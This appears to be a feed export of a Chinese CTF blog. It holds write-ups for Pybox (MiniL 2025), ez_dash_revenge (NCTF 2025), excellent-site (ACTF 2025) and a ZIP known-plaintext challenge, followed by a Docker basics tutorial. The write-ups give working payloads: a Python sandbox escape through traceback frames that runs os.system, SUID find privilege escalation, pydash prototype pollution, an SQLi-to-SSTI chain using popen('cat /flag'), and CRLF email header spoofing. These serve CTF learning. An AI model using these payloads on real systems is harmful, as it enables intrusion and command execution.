当进入一个异常处理器时，程序将可以使用栈跟踪。它可作为<code>sys.exc_info()</code> 所返回的元组的第三项，以及所捕获异常的 <code>__traceback__</code>属性被获取。</p><h4 id="利用手法"><a href="#利用手法" class="headerlink" title="利用手法"></a>利用手法</h4><p>直接给出一个例子：</p><pre><code class="python">def get_stack_frame_via_exception():    try:        raise Exception    except Exception as e:        tb = e.__traceback__        while tb.tb_next:            tb = tb.tb_next        return tb.tb_frame</code></pre><p>对一些关键代码做一些解释：</p><ul><li>首先直接抛出异常，触发except,将异常的回溯对象赋值给tb。</li><li>通过<code>tb_next</code>来进行栈帧的遍历,直到下一栈帧为<code>None</code>,可以保证最后所在的栈帧是模块级栈帧(这里也可以先用tb_frame得到栈帧，再使用f_back来操作)</li><li>最后返回<code>tb_frame</code>来获得栈帧,这样就成功逃逸了</li></ul><h4 id="pyboxminil-2025"><a href="#Pybox-MiniL-2025" class="headerlink" title="Pybox(MiniL 2025)"></a>Pybox(MiniL 2025)</h4><pre><code class="python">from flask import Flask, request, Responseimport multiprocessingimport sysimport ioimport astapp = Flask(__name__)class SandboxVisitor(ast.NodeVisitor):    forbidden_attrs = &#123;        &quot;__class__&quot;,        &quot;__dict__&quot;,        &quot;__bases__&quot;,        &quot;__mro__&quot;,        &quot;__subclasses__&quot;,        &quot;__globals__&quot;,        &quot;__code__&quot;,        &quot;__closure__&quot;,        &quot;__func__&quot;,        &quot;__self__&quot;,        &quot;__module__&quot;,        &quot;__import__&quot;,        &quot;__builtins__&quot;,        &quot;__base__&quot;    &#125;    def visit_Attribute(self, node):        if isinstance(node.attr, str) and node.attr in self.forbidden_attrs:            raise ValueError        self.generic_visit(node)    def visit_GeneratorExp(self, node):        raise ValueErrordef sandbox_executor(code, result_queue):    safe_builtins = &#123;        &quot;print&quot;: print,        &quot;filter&quot;: filter,        &quot;list&quot;: list,        &quot;len&quot;: len,        &quot;addaudithook&quot;: sys.addaudithook,        &quot;Exception&quot;: Exception    &#125;    safe_globals = &#123;&quot;__builtins__&quot;: safe_builtins&#125;    sys.stdout = io.StringIO()    sys.stderr = io.StringIO()    try:        exec(code, safe_globals)        output = sys.stdout.getvalue()        error = sys.stderr.getvalue()        result_queue.put((&quot;ok&quot;, output or error))    except Exception as e:        result_queue.put((&quot;err&quot;, str(e)))def safe_exec(code: str, timeout=1):    code = code.encode().decode(&#39;unicode_escape&#39;)    tree = ast.parse(code)    SandboxVisitor().visit(tree)    result_queue = multiprocessing.Queue()    p = multiprocessing.Process(target=sandbox_executor, args=(code, result_queue))    p.start()    p.join(timeout=timeout)    if p.is_alive():        p.terminate()        return &quot;Timeout: code took too long to run.&quot;    try:        status, output = result_queue.get_nowait()        return output if status == &quot;ok&quot; else f&quot;Error: &#123;output&#125;&quot;    except:        return &quot;Error: no output from sandbox.&quot;CODE = &quot;&quot;&quot;def my_audit_checker(event,args):    allowed_events = [&quot;import&quot;, &quot;time.sleep&quot;, &quot;builtins.input&quot;, &quot;builtins.input/result&quot;]    if not list(filter(lambda x: event == x, allowed_events)):        raise Exception    if len(args) &gt; 0:        raise Exceptionaddaudithook(my_audit_checker)print(&quot;&#123;&#125;&quot;)&quot;&quot;&quot;badchars = &quot;\&quot;&#39;|&amp;`+-*/()[]&#123;&#125;_.&quot;@app.route(&#39;/&#39;)def index():    return open(__file__, &#39;r&#39;, encoding=&quot;utf8&quot;).read()@app.route(&#39;/execute&#39;, methods=[&#39;POST&#39;])def execute():    text = request.form[&#39;text&#39;]    for char in badchars:        if char in text:            return Response(&quot;Error&quot;, status=400)    output = safe_exec(CODE.format(text))    if len(output) &gt; 5:        return Response(&quot;TooLong&quot;, status=400)    return Response(output, status=200)if __name__ == &#39;__main__&#39;:    app.run(host=&#39;0.0.0.0&#39;)</code></pre><p>&emsp;&emsp;开始会发现限制有点多，存在badchars直接把许多字符禁用了。但是审计一下<code>safe_exec</code>我们又能发现这个badchars其实只是唬人的，因为在运行我们的代码前会有一个unicode解码，我们只要将我们的代码编码一下上传就能绕过这个badchars了。</p><p>&emsp;&emsp;然后是绕过沙盒里的审计钩子。这里可以直接重写<code>len</code>方法和<code>list</code>方法,使得他们固定返回指定的bool值就可以不管那两个判定。</p><p>&emsp;&emsp;接下来就是如何逃逸的问题。这里我们可以发现，<code>SandboxVisitor</code>将生成器禁用了，也就没法利用生成器来逃逸了。这时就用上了异常栈帧逃逸。</p><p>&emsp;&emsp;还需要注意到我们的代码是会被固定嵌入到print里的，这个好办，投机取巧一下就行，具体怎么做见后述。</p><p>整合一下上述思路，可以这么写payload：</p><pre><code class="python">&quot;)list=lambda x:Truelen=lambda x:Falsetry:    raise Exceptionexcept Exception as e:    globals = e.__traceback__.tb_frame.f_back.f_globals    globals[&#39;SandboxVisitor&#39;].visit_Attribute=lambda x,y:None    os = globals[&quot;sys&quot;].modules[&quot;os&quot;]    os.system(&quot;mkdir static $$ ls / &gt; static/a.txt&quot;)    print(&quot;# 利用 &quot;)...print(&quot; 的形式来绕过print。</code></pre><p>&emsp;&emsp;由于存在输出长度的限制，我们需要输出内容到另一个文件来查看(这里也可以造一个static来存放)。发现根目录中存在疑似flag文件，但是cat不出来，查看权限发现是不可读的。考虑suid提权：<code>find / -user root -perm -4000 -exec ls -ldb &#123;&#125; \;</code>,可以发现find就有suid权限。那可以直接用了:<code>find . -exec cat /m* \;</code>。如此就解决这题了。</p>]]></content>
    
    
    <summary type="html">总结了一些python模板注入时的内置方法和属性,常用的模块，方法等等喵~</summary>
    
    
    
    <category term="CTF" scheme="https://101.43.94.206/categories/CTF/"/>
    
    
    <category term="Web" scheme="https://101.43.94.206/tags/Web/"/>
    
    <category term="Py" scheme="https://101.43.94.206/tags/Py/"/>
    
  </entry>
  
  <entry>
    <title>赛题复现</title>
    <link href="https://101.43.94.206/2025/05/12/%E5%A4%8D%E7%8E%B0/"/>
    <id>https://101.43.94.206/2025/05/12/%E5%A4%8D%E7%8E%B0/</id>
    <published>2025-05-12T12:47:53.000Z</published>
    <updated>2025-05-15T05:48:18.000Z</updated>
    
    <content type="html"><![CDATA[<h3 id="ez_dash_revengenctf-2025"><a href="#ez-dash-revenge-NCTF-2025" class="headerlink" title="ez_dash_revenge(NCTF 2025)"></a>ez_dash_revenge(NCTF 2025)</h3><p>&emsp;&emsp;考点是pydash的原型链污染，还有代码审计，要审计pydash和bottle的一些实现，根据这些来污染。</p><pre><code class="python">def setval(name:str, path:str, value:str)-&gt; Optional[bool]:    if name.find(&quot;__&quot;)&gt;=0: return False    for word in __forbidden_name__:        if name==word:            return False    for word in __forbidden_path__:        if path.find(word)&gt;=0: return False    obj=globals()[name]    try:        pydash.set_(obj,path,value)    except:        return Falsereturn True@bottle.post(&#39;/setValue&#39;)def set_value():    name = bottle.request.query.get(&#39;name&#39;)    path=bottle.request.json.get(&#39;path&#39;)    if not isinstance(path,str):        return &quot;no&quot;    if len(name)&gt;6 or len(path)&gt;32:        return &quot;no&quot;    value=bottle.request.json.get(&#39;value&#39;)    return &quot;yes&quot; if setval(name, path, value) else &quot;no&quot;@bottle.get(&#39;/render&#39;)def render_template():    path=bottle.request.query.get(&#39;path&#39;)    if len(path)&gt;10:        return &quot;hacker&quot;    blacklist=[&quot;&#123;&quot;,&quot;&#125;&quot;,&quot;.&quot;,&quot;%&quot;,&quot;&lt;&quot;,&quot;&gt;&quot;,&quot;_&quot;]     for c in path:        if c in blacklist:            return &quot;hacker&quot;    return bottle.template(path)</code></pre><p>&emsp;&emsp;可以利用pydash的set_函数来进行原型链污染，选定对象(name)，构造链路(path)，然后指定污染为其他对象(value)。然后就要考虑一下怎么污染了。name中把bottle过滤了，并且有变量名长度限制，但是通过__globals__来间接拿到bottle，globals可以用各种长度不超过限制对的对象得到，刚好没有过滤它。所以可以有以下payload:</p><pre><code class="json">// name=setval&#123;    &quot;path&quot;: &quot;__globals__.bottle.TEMPLATE_PATH&quot;,    &quot;value&quot;: &quot;[&#39;../../../../../proc/self/&#39;]&quot;&#125;// 调试可以发现bottle存在TEMPLATE_PATH，默认为./与./views/，这里通过污染它来使得我们直接获取环境变量文件。</code></pre><p>&emsp;&emsp;但是传入这句时仍会报no，查一下，字符长度也没有问题，那问题可能就出在pydash.set_这个函数的执行上了。一路追踪这个函数的实现，可以发现如下代码：</p><pre><code>(source.py)set_ -&gt; (objects.py)set_with() -&gt; (objects.py)update_with() -&gt; (helpers.py)base_set() -&gt; (helpers.py)_raise_if_restricted_key() -&gt; (helpers.py)seattr()到setattr才是真的污染完成。</code></pre><pre><code class="python">def _raise_if_restricted_key(key):    # Prevent access to restricted keys for security reasons.    if key in RESTRICTED_KEYS:        raise KeyError(f&quot;access to restricted key &#123;key!r&#125; is not allowed&quot;)# RESTRICTED_KEYS = (&quot;__globals__&quot;, &quot;__builtins__&quot;)def base_set(obj, key, value, allow_override=True):    &quot;&quot;&quot;    Set an object&#39;s `key` to `value`. If `obj` is a ``list`` and the `key` is the next available    index position, append to list; otherwise, pad the list of ``None`` and then append to the list.    Args:        obj: Object to assign value to.        key: Key or index to assign to.        value: Value to assign.        allow_override: Whether to allow overriding a previously set key.    &quot;&quot;&quot;    if isinstance(obj, dict):        if allow_override or key not in obj:            obj[key] = value    elif isinstance(obj, list):        key = int(key)        if key &lt; len(obj):            if allow_override:                obj[key] = value        else:            if key &gt; len(obj):                # Pad list object with None values up to the index key, so we can append the value                # into the key index.                obj[:] = (obj + [None] * key)[:key]            obj.append(value)    elif (allow_override or not hasattr(obj, key)) and obj is not None:        _raise_if_restricted_key(key)        setattr(obj, key, value)    return obj</code></pre><p>&emsp;&emsp;也就是说__globals__被pydash本身给拦了，那我们就先把这个拆了：</p><pre><code class="json">// name=pydash&#123;    &quot;path&quot;: &quot;helpers.RESTRICTED_KEYS&quot;,    &quot;value&quot;: []&#125;</code></pre><img src="/2025/05/12/%E5%A4%8D%E7%8E%B0/1.png"><p>可以看到成功拆除。这样就可以污染TEMPLATE_PATH了</p><p>&emsp;&emsp;接下来只要访问&#x2F;render?path&#x3D;environ就可以看到当前进程的环境变量了。</p><h3 id="excellent-siteactf-2025"><a href="#excellent-site-ACTF-2025" class="headerlink" title="excellent-site(ACTF 2025)"></a>excellent-site(ACTF 2025)</h3><p>直接先看源码：</p><pre><code class="python">import smtplib import imaplibimport emailimport sqlite3from urllib.parse import urlparseimport requestsfrom email.header import decode_headerfrom flask import *app = Flask(__name__)def get_subjects(username, password):    imap_server = &quot;ezmail.org&quot;    imap_port = 143    try:        mail = imaplib.IMAP4(imap_server, imap_port)        mail.login(username, password)        mail.select(&quot;inbox&quot;)        status, messages = mail.search(None, &#39;FROM &quot;admin@ezmail.org&quot;&#39;)        if status != &quot;OK&quot;:            return &quot;&quot;        subject = &quot;&quot;        latest_email = messages[0].split()[-1]        status, msg_data = mail.fetch(latest_email, &quot;(RFC822)&quot;)        for response_part in msg_data:            if isinstance(response_part, tuple):                msg = email.message_from_bytes(response_part  [1])                subject, encoding = decode_header(msg[&quot;Subject&quot;])  [0]                if isinstance(subject, bytes):                    subject = subject.decode(encoding if encoding else &#39;utf-8&#39;)        mail.logout()        return subject    except:        return &quot;ERROR&quot;def fetch_page_content(url):    try:        parsed_url = urlparse(url)        if parsed_url.scheme != &#39;http&#39; or parsed_url.hostname != &#39;ezmail.org&#39;:            return &quot;SSRF Attack!&quot;        response = requests.get(url)        if response.status_code == 200:            return response.text        else:            return &quot;ERROR&quot;    except:        return &quot;ERROR&quot;@app.route(&quot;/report&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])def report():    message = &quot;&quot;    if request.method == &quot;POST&quot;:        url = request.form[&quot;url&quot;]        content = request.form[&quot;content&quot;]        smtplib._quote_periods = lambda x: x        mail_content = &quot;&quot;&quot;From: ignored@ezmail.org\r\nTo: admin@ezmail.org\r\nSubject: &#123;url&#125;\r\n\r\n&#123;content&#125;\r\n.\r\n&quot;&quot;&quot;        try:            server = smtplib.SMTP(&quot;ezmail.org&quot;)            mail_content = smtplib._fix_eols(mail_content)            mail_content = mail_content.format(url=url, content=content)            server.sendmail(&quot;ignored@ezmail.org&quot;, &quot;admin@ezmail.org&quot;, mail_content)            message = &quot;Submitted! Now wait till the end of the world.&quot;        except:            message = &quot;Send FAILED&quot;    return render_template(&quot;report.html&quot;, message=message)@app.route(&quot;/bot&quot;, methods=[&quot;GET&quot;])def bot():    requests.get(&quot;http://ezmail.org:3000/admin&quot;)    return &quot;The admin is checking your advice(maybe)&quot;@app.route(&quot;/admin&quot;, methods=[&quot;GET&quot;])def admin():    ip = request.remote_addr    if ip != &quot;127.0.0.1&quot;:        return &quot;Forbidden IP&quot;    subject = get_subjects(&quot;admin&quot;, &quot;p@ssword&quot;)    if subject.startswith(&quot;http://ezmail.org&quot;):        page_content = fetch_page_content(subject)        return render_template_string(f&quot;&quot;&quot;                &lt;h2&gt;Newest Advice(from myself)&lt;/h2&gt;                &lt;div&gt;&#123;page_content&#125;&lt;/div&gt;        &quot;&quot;&quot;)    return &quot;&quot;@app.route(&quot;/news&quot;, methods=[&quot;GET&quot;])def news():    news_id = request.args.get(&quot;id&quot;)    if not news_id:        news_id = 1    conn = sqlite3.connect(&quot;news.db&quot;)    cursor = conn.cursor()    cursor.execute(f&quot;SELECT title FROM news WHERE id = &#123;news_id&#125;&quot;)    result = cursor.fetchone()    conn.close()    if not result:        return &quot;Page not found.&quot;, 404    return result[0]@app.route(&quot;/&quot;)def index():    return render_template(&quot;index.html&quot;)if __name__ == &quot;__main__&quot;:    app.run(host=&quot;0.0.0.0&quot;, port=3000)</code></pre><p>&emsp;&emsp; 我们可以发现&#x2F;admin是使用render_template_string来渲染的，而其中存在page_content，这个page_content是由fetch_page_content函数得到，这个函数会访问指定url并得到响应(存在一点waf)，url由subject得到，主题是可控的(在&#x2F;report可以通过url这个参数来指定subject，然后通过get_subject来得到它)。</p><p>&emsp;&emsp;那么我们大致确定攻击思路，首先我们可以通过&#x2F;report来给邮件服务器发送请求，然后可以通过&#x2F;bot的ssrf来使得&#x2F;admin的ssti触发，那我们还需要一个url以<code>&quot;http://ezmail.org&quot;</code>为起始，再加上这里存在一个&#x2F;news有一个显然的sql注入点，我们就可以把ssti的语句注入，然后访问&#x2F;bot来触发ssti：</p><pre><code class="python">&#123;&#123;config.__class__.__init__.__globals__['os'].popen('cat /flag').read()&#125;&#125;</code></pre><pre><code class="post-body">url=http://ezmail.org:3000/news?id=-1 UNION ALL SELECT CHAR(123, 123, 99, 111, 110, 102, 105, 103, 46, 95, 95, 99, 108, 97, 115, 115, 95, 95, 46, 95, 95, 105, 110, 105, 116, 95, 95, 46, 95, 95, 103, 108, 111, 98, 97, 108, 115, 95, 95, 91, 39, 111, 115, 39, 93, 46, 112, 111, 112, 101, 110, 40, 39, 99, 97, 116, 32, 47, 102, 108, 97, 103, 39, 41, 46, 114, 101, 97, 100, 40, 41, 125, 125)--From: admin@ezmail.org&amp;content=hi</code></pre><p>&emsp;&emsp;这里还有个要注意的点是最后的<code>From: admin@ezmail.org</code>,因为源码中get_subjects时只会取得<code>FROM &quot;admin@ezmail.org&quot;</code>的邮件(line 19).以下解释来自ds:</p><blockquote><p><strong>1.漏洞触发点：&#x2F;report 路由的邮件构造</strong></p><p>代码中 <code>/report</code> 路由处理用户提交的 <code>url</code> 和 <code>content</code>，并构造邮件内容：</p><pre><code>mail_content = &quot;&quot;&quot;From: ignored@ezmail.org\r\nTo: admin@ezmail.org\r\nSubject: &#123;url&#125;\r\n\r\n&#123;content&#125;\r\n.\r\n&quot;&quot;&quot;mail_content = mail_content.format(url=url, content=content)</code></pre><ul><li><strong>本意</strong>：将用户提供的 <code>url</code> 插入邮件主题（Subject），<code>content</code> 作为正文。</li><li><strong>漏洞</strong>：未对用户输入的 <code>url</code> 进行过滤，允许插入换行符（<code>\r\n</code>）或其他控制字符。</li></ul><p><strong>2. 攻击者构造恶意输入</strong></p><p>攻击者提交的 <code>url</code> 参数包含 <strong>CRLF（Carriage Return Line Feed）注入</strong>：</p><pre><code>POST /report HTTP/1.1...url=http://ezmail.org:3000/news%0D%0AFrom:%20admin@ezmail.org&amp;content=hi</code></pre><ul><li><p><strong>URL 解码后</strong>：</p><pre><code>url=http://ezmail.org:3000/news\r\nFrom: admin@ezmail.org</code></pre></li><li><p><strong>关键操作</strong>：</p><ul><li><code>%0D%0A</code> 是 URL 编码的 <code>\r\n</code>（即换行符）。</li><li>攻击者在 <code>url</code> 参数末尾插入换行符和 <code>From: admin@ezmail.org</code> 字段。</li></ul></li></ul><p><strong>3. 构造恶意邮件内容</strong></p><p>服务端将攻击者提供的 <code>url</code> 插入邮件主题后，完整的邮件内容变为：</p><pre><code>From: ignored@ezmail.orgTo: admin@ezmail.orgSubject: http://ezmail.org:3000/newsFrom: admin@ezmail.orghi.</code></pre><ul><li><strong>解析结果</strong>：<ul><li>邮件头部出现 <strong>两个 <code>From</code> 字段</strong>：原始的 <code>ignored@ezmail.org</code> 和注入的 <code>admin@ezmail.org</code>。</li><li>若SMTP服务器或邮件客户端以<strong>最后一个 <code>From</code> 字段为准</strong>，则会导致发件人记录为 <code>admin@ezmail.org</code>,从而实现身份的伪造。</li></ul></li></ul></blockquote><h3 id="miniforensicsiiminil-2025"><a href="#MiniForensicsⅡ-MiniL-2025" class="headerlink" title="MiniForensicsⅡ(MiniL 2025)"></a>MiniForensicsⅡ(MiniL 2025)</h3><p>&emsp;&emsp;给出的流量包中有个lock.zip，其中存在一个useless.png和breadcrumb.txt。给的附件里已经找无可找了。最后才知道还有<strong>png头明文攻击</strong>这个玩意，原来明文攻击的门槛这么低说是。</p><p>&emsp;&emsp;那就构建一个png头，正好这个useless.png的偏移量为0，那么直接造就可以了：</p><pre><code class="shell">echo 89504E470D0A1A0A0000000D49484452 | xxd -r -ps &gt; png_header</code></pre><p>在用bkcreak来攻击：</p><pre><code class="shell">time bkcrack -C lock.zip -c useless.png -p png_header -o 0</code></pre><blockquote><p>对bkcreak命令的解释：</p><ul><li><p>time：加上time参数查看计算爆破时间</p></li><li><p>-C：指定加密压缩包</p></li><li><p>-c：指定压缩包的密文部分</p></li><li><p>-p：指定明文文件</p></li><li><p>-o：指定的明文在压缩包内目标文件的偏移量</p></li></ul></blockquote><p>之后就能解除三段密钥，再用bkcreak就能提取压缩包中的文件了：</p><pre><code class="shell">bkcrack -C lock.zip -c useless.png -k 45797e52 f747cc4c 800bd117 -d useless.png</code></pre><p>&emsp;&emsp;发现这个png确实没啥用，把breadcrumb.txt掏出来看看，发现是个b64的网址，指向一个github仓库<code>(https://github.com/root-admin-user/what_do_you_wanna_find.git)</code>，在其中可以找到一个假flag和一个py脚本，这个脚本中能发现有个target_hash，在github这个环境下，很容易想到会是一个commit的编号，那就直接转到这个<code>commit(https://github.com/root-admin-user/what_do_you_wanna_find/commit/89045a3653af483b6bb390e27c10db16873a60d1)</code>，这是个隐藏的commit，直接找是找不到的。这里有个py脚本，运行一下就能得到flag了。</p><blockquote><p>参考：<a href="https://blog.csdn.net/qq_43007452/article/details/135607308">Bugku CTF：请攻击这个压缩包[WriteUP]</a></p></blockquote>]]></content>
    
    
    <summary type="html">各种比赛的一些题目的复现喵~</summary>
    
    
    
    <category term="CTF" scheme="https://101.43.94.206/categories/CTF/"/>
    
    
    <category term="Web" scheme="https://101.43.94.206/tags/Web/"/>
    
    <category term="Misc" scheme="https://101.43.94.206/tags/Misc/"/>
    
  </entry>
  
  <entry>
    <title>docker的基础使用</title>
    <link href="https://101.43.94.206/2025/04/17/docker/"/>
    <id>https://101.43.94.206/2025/04/17/docker/</id>
    <published>2025-04-17T06:19:44.000Z</published>
    <updated>2025-04-17T06:41:40.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="什么是linux容器"><a href="#什么是Linux容器" class="headerlink" title="什么是Linux容器"></a>什么是Linux容器</h2><p>&emsp;&emsp;由于虚拟机存在这些缺点，Linux 发展出了另一种虚拟化技术：**Linux容器(Linux Containers，缩写为LXC)**。</p><p>&emsp;&emsp;<strong>Linux 容器不是模拟一个完整的操作系统，而是对进程进行隔离。</strong>或者说，在正常进程的外面套了一个保护层。对于容器里面的进程来说，它接触到的各种资源都是虚拟的，从而实现与底层系统的隔离。</p><p>由于容器是进程级别的，相比虚拟机有很多优势：</p><ul><li><strong>启动快</strong>：容器里面的应用，直接就是底层系统的一个进程，而不是虚拟机内部的进程。所以，启动容器相当于启动本机的一个进程，而不是启动一个操作系统，速度就快很多。</li><li><strong>资源占用少</strong>：容器只占用需要的资源，不占用那些没有用到的资源；虚拟机由于是完整的操作系统，不可避免要占用所有资源。另外，多个容器可以共享资源，虚拟机都是独享资源。</li><li><strong>体积小</strong>：容器只要包含用到的组件即可，而虚拟机是整个操作系统的打包，所以容器文件比虚拟机文件要小很多。</li></ul><p>总之，容器有点像轻量级的虚拟机，能够提供虚拟化的环境，但是成本开销小得多。</p><h2 id="docker概述"><a href="#Docker概述" class="headerlink" title="Docker概述"></a>Docker概述</h2><p>&emsp;&emsp;<strong>Docker 属于 Linux 容器的一种封装，提供简单易用的容器使用接口。</strong>它是目前最流行的 Linux 容器解决方案。</p><p>&emsp;&emsp;Docker 将应用程序与该程序的依赖，打包在一个文件里面。运行这个文件，就会生成一个虚拟容器。程序在这个虚拟容器里运行，就好像在真实的物理机上运行一样。有了 Docker，就不用担心环境问题。</p><p>&emsp;&emsp;总体来说，Docker 的接口相当简单，用户可以方便地创建和使用容器，把自己的应用放入容器。容器还可以进行版本管理、复制、分享、修改，就像管理普通的代码一样。</p><h2 id="docker的用途"><a href="#Docker的用途" class="headerlink" title="Docker的用途"></a>Docker的用途</h2><p>Docker 的主要用途，目前有三大类。</p><ul><li><p><strong>提供一次性的环境：</strong>比如，本地测试他人的软件、持续集成的时候提供单元测试和构建的环境。</p></li><li><p><strong>提供弹性的云服务：</strong>因为 Docker 容器可以随开随关，很适合动态扩容和缩容。</p></li><li><p><strong>组建微服务架构：</strong>通过多个容器，一台机器可以跑多个服务，因此在本机就可以模拟出微服务架构。</p></li></ul><h2 id="image文件镜像"><a href="#image文件-镜像" class="headerlink" title="image文件(镜像)"></a>image文件(镜像)</h2><p>&emsp;&emsp;<strong>Docker把应用程序及其依赖，打包在image文件里面。</strong>只有通过这个文件，才能生成Docker容器。image文件可以看作是<em>容器的模板</em>。Docker根据image文件生成容器的实例。同一个image文件，可以生成多个同时运行的容器实例。</p><p>&emsp;&emsp;image是二进制文件。实际开发中，一个image文件往往通过继承另一个image文件，加上一些个性化设置而生成。举例来说，你可以在Ubuntu的image基础上，往里面加入Apache服务器，形成你的image。</p><blockquote><p>常用操作在速查中记录</p></blockquote><p>&emsp;&emsp;image 文件是通用的，一台机器的 image 文件拷贝到另一台机器，照样可以使用。一般来说，为了节省时间，我们应该尽量使用别人制作好的 image 文件，而不是自己制作。即使要定制，也应该基于别人的 image 文件进行加工，而不是从零开始制作。</p><p>&emsp;&emsp;为了方便共享，image 文件制作完成后，可以上传到网上的仓库。Docker 的官方仓库<a href="https://hub.docker.com/">Docker Hub</a>是最重要、最常用的image仓库。此外，出售自己制作的image文件也是可以的。</p><h2 id="容器文件"><a href="#容器文件" class="headerlink" title="容器文件"></a>容器文件</h2><p>&emsp;&emsp;<strong>image文件生成的容器实例，本身也是一个文件，称为容器文件。</strong>也就是说，一旦容器生成，就会同时存在两个文件：image文件和容器文件。而且关闭容器并不会删除容器文件，只是容器停止运行而已。要删除容器，需要使用相应的指令。</p><blockquote><p>常用操作在速查中记录</p></blockquote><h2 id="dockerfile文件"><a href="#Dockerfile文件" class="headerlink" title="Dockerfile文件"></a>Dockerfile文件</h2><p>&emsp;&emsp;学会使用image文件以后，接下来的问题就是，如何可以生成image文件？如果你要推广自己的软件，势必要自己制作image文件。</p><p>&emsp;&emsp;这就需要用到Dockerfile文件。它是一个文本文件，用来配置image。Docker根据该文件生成二进制的image文件。</p><h3 id="dockerfile的编写"><a href="#Dockerfile的编写" class="headerlink" title="Dockerfile的编写"></a>Dockerfile的编写</h3><h4 id="dockerignore文件"><a href="#dockerignore文件" class="headerlink" title=".dockerignore文件"></a>.dockerignore文件</h4><p>&emsp;&emsp;.dockerignore文件存放不包含入docker image的路经，例如：</p><pre><code>.gitnode_modulesnpm-debug.log</code></pre><h4 id="dockerfile的基本结构"><a href="#Dockerfile的基本结构" class="headerlink" title="Dockerfile的基本结构"></a>Dockerfile的基本结构</h4><p>Dockerfile一般分为四部分：</p><ul><li>基础镜像信息</li><li>维护者信息</li><li>镜像操作指令和容器启动时执行指令</li><li>注释(<code>#</code>为注释符)</li></ul><h4 id="dockerfile文件"><a href="#Dockerfile文件-1" class="headerlink" title="Dockerfile文件"></a>Dockerfile文件</h4><p>&emsp;&emsp;Docker以从上到下的顺序运行Dockerfile的指令。为了指定基本映像，**第一条指令必须是<code>FROM</code>**。一个声明以<code>＃</code>字符开头则被视为注释。可以在Docker文件中使用<code>RUN</code>，<code>CMD</code>，<code>FROM</code>，<code>EXPOSE</code>，<code>ENV</code>等指令。</p><h5 id="常见的指令"><a href="#常见的指令" class="headerlink" title="常见的指令"></a>常见的指令</h5><ul><li><p><strong>FROM</strong>：指定基础镜像，<strong>必须为第一个命令</strong></p><p>  格式：</p><pre><code class="dockerfile">FROM [--platform=&amp;lt;platform&gt;] &amp;lt;image&gt; [AS &amp;lt;name&gt;]FROM [--platform=&amp;lt;platform&gt;] &amp;lt;image&gt;[:&amp;lt;tag&gt;] [AS &amp;lt;name&gt;]FROM [--platform=&amp;lt;platform&gt;] &amp;lt;image&gt;[@&amp;lt;digest&gt;] [AS &amp;lt;name&gt;]</code></pre><ul><li><code>--platform</code>：指定镜像的平台，例如 <em>linux&#x2F;amd64</em>、<em>linux&#x2F;arm64</em> 或 <em>windows&#x2F;amd64</em>。</li><li><code>&amp;lt;image&gt;</code>：基础镜像的名称。</li><li><code>AS &amp;lt;name&gt;</code>：镜像的别名。</li><li><code>tag</code>：镜像的标签，默认为<em>latest</em>(用于指定版本号)。</li><li><code>@digest</code>：镜像的摘要。</li></ul><p>  示例：</p><pre><code class="dockerfile">FROM mysql:5.6</code></pre></li><li><p><strong>MAINTAINER</strong>：维护者信息</p><p>  格式：</p><pre><code class="dockerfile">MAINTAINER [&quot;name&quot;]</code></pre><p>  示例：</p><pre><code class="dockerfile">MAINTAINER Fumo</code></pre></li><li><p><strong>RUN</strong>：构建镜像时执行的命令</p><p>  RUN用于在镜像容器中执行命令，其有以下两种命令执行方式:</p><ul><li><p>shell执行</p><p>  格式:</p><pre><code class="dockerfile">RUN &amp;lt;command&gt;</code></pre></li><li><p>exec执行</p><p>  格式:</p><pre><code class="dockerfile">RUN [&quot;executable&quot;,&quot;param1&quot;,&quot;param2&quot;]</code></pre><p>  示例:</p><pre><code class="dockerfile">RUN apk update</code></pre><blockquote><p>RUN指令创建的中间镜像会被缓存，并会在下次构建中使用。如果不想使用这些缓存镜像，可以在构建时指定<code>--no-cache</code>参数，如：<code>docker build --no-cache</code></p></blockquote><blockquote><p><strong>中间镜像的产生</strong><br>在使用命令build命令构建镜像时，比如：</p><pre><code class="shell">docker build -t demo4docker .</code></pre><p>构建完成后，查看镜像：</p><pre><code class="shell">docker images -aREPOSITORY      TAG         IMAGE ID       CREATED         SIZEdemo4docker     latest      09dc6a85ec83   6 days ago      776MB&lt;none&gt;       &lt;none&gt;      912c358695d4   6 days ago      776MB&lt;none&gt;       &lt;none&gt;      affb7d9f6529   6 days ago      709MB&lt;none&gt;       &lt;none&gt;      b58ee21ac8b6   6 days ago      643MB</code></pre><p>发现出现了几个没有既没有REPOSITORY也没有TAG的镜像，这些就是<strong>中间镜像(intermediate images)</strong>.</p><p><strong>有效<code>&amp;lt;none&gt;</code>镜像和无效<code>&amp;lt;none&gt;</code>镜像</strong></p><ul><li><p>有效none镜像：</p><p>  Docker文件系统是由很多layers组成的，每个layer之间有父子关系，所有的 docker文件系统层默认都存储在&#x2F;var&#x2F;lib&#x2F;docker&#x2F;graph目录下，docker称之为图层数据库。</p><p>  所以，这些&lt;none&gt;:&lt;none&gt;镜像是镜像的父层，必须存在的，并且不会造成硬盘空间占用问题。</p></li><li><p>无效none镜像</p><p>  而docker还存在另一种没有被使用到的并且不会关联任何镜像的&lt;none&gt;:&lt;none&gt;镜像，这些镜像被称之为dangling images，这种类型的镜像会造成磁盘空间占用问题。</p></li></ul></blockquote></li></ul></li><li><p><strong>ADD</strong>:将本地文件添加到容器中</p><p>  tar类型文件会自动解压(网络压缩资源不会被解压).可以访问网络资源,类似wget.</p><p>  格式：</p><pre><code class="dockerfile">ADD &amp;lt;src&gt; ... &amp;lt;dest&gt; # 添加src至dest路径ADD [&quot;&amp;lt;src&gt;&quot;,...,&quot;&amp;lt;dest&gt;&quot;] # 用于支持包含空格的路径</code></pre><p>  示例:</p><pre><code class="dockerfile">ADD hom* /mydir/          # 添加所有以&quot;hom&quot;开头的文件ADD hom?.txt /mydir/      # ?替代一个单字符,例如:&quot;home.txt&quot;ADD test relativeDir/     # 添加&quot;test&quot;到 relativeDir/ADD test /absoluteDir/    # 添加 &quot;test&quot; 到 /absoluteDir/</code></pre></li><li><p><strong>COPY</strong>:功能类似ADD，但是是不会自动解压文件，也不能访问网络资源</p></li><li><p><strong>CMD</strong>:构建容器后调用，也就是<strong>在容器启动时才进行调用</strong>。</p><p>  格式:</p><pre><code class="dockerfile">CMD [&quot;application&quot;,&quot;param1&quot;,&quot;param2&quot;,...] # 执行可执行文件CMD [&quot;param1&quot;,&quot;param2&quot;,...]  # 设置了ENTRYPOINT，则直接调用ENTRYPOINT添加参数CMD command param1 param2 ... # 执行shell内部命令</code></pre><p>  示例:</p><pre><code class="dockerfile">CMD echo &quot;This is a test.&quot; | wc -CMD 